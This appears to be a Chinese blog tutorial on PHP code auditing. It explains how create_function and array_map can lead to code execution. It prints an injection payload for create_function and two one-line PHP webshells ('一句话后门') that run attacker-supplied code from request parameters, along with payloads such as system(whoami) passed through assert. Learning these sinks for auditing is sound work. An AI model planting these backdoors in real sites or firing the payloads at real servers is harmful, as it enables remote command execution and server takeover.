PHP代码审计之代码执行(二)

PHP代码审计之代码执行(二)

create_function

create_function(PHP 4> = 4.0.1,PHP 5,PHP 7)
create_function — 创建一个匿名(lambda样式)函数

说明:
create_function (字符串 $args ,字符串 $code ):字符串根据传递的参数创建一个匿名函数,并为其返回唯一的名称。

警告:
此函数在内部执行eval(),因此具有与eval()相同的安全性问题。此外,它还具有不良的性能和内存使用特性。如果您使用的是PHP 5.3.0或更高版本,则应使用本机匿名函数。
官方示例:

<?php
$newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
echo "New anonymous function: $newfunc\n";
echo $newfunc(2, M_E) . "\n";
// outputs
// New anonymous function: lambda_1
// ln(2) + ln(2.718281828459) = 1.6931471805599
?>

在这里插入图片描述

create_function()创建的匿名函数,还原上面的代码:

<?php
function lambda($a,$b){
	return("ln($a)+ln($b)=".log($a*$b));
	}
echo lambda(2,M_E);
?>

代码执行示例:

<?php
$b=$_REQUEST['c'];
$newfunc = create_function('$a,$b', 'return (strlen($a)*strlen($b));');
?>
payload:?c=aaa));}phpinfo();/*

在这里插入图片描述一句话后门:
参考:https://blog.csdn.net/qq_17204441/article/details/89880172

<?php $s=create_function('',$_REQUEST['mm']);$s();?>
payload:?mm=system(whoami);

在这里插入图片描述

array_map

array_map()为数组的每个元素应用回调函数

array_map ( callable $callback , array $array1 [, array $... ] ) : array

array_map():简单说利用回调函数处理传入的数组,返回数组。
示例:

<?php
    $old_array = array(1, 2, 3, 4, 5);
    function func($arg){
        return $arg + $arg;
    }
    $new_array = array_map('func',$old_array);
    var_dump($new_array);
?>

执行结果:
array (size=5)
0 => int 2
1 => int 4
2 => int 6
3 => int 8
4 => int 10

利用方法:

<?php
    $func = 'system';
    $cmd = 'whoami';
    $old_array[0] = $cmd;
    $new_array = array_map($func,$old_array);
    var_dump($new_array);
?>

执行结果:一句话后门:

<?php @array_map($_REQUEST['a'],(array)($_REQUEST['b'])); ?>

原理分析:a参数直接传入一个assert函数,b参数传入assert(eval(‘执行代码’))。
payload:

?a=assert&b=phpinfo();
?a=assert&b=system(%27whoami%27);
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值